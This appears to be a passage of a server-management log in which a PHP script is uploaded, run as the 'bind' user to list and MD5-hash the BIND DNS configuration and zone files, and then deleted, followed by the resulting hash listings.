MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 11:00:08: Establishing a connection
2026-04-28 11:00:08: 

PUT: /tmp/pkp943341

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 11:00:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp943341; rm /tmp/pkp943341'

2026-04-28 11:00:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 11:00:08: Establishing a connection
2026-04-28 11:00:08: 

PUT: /tmp/pkp835562

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 11:00:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp835562; rm /tmp/pkp835562'

2026-04-28 11:00:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
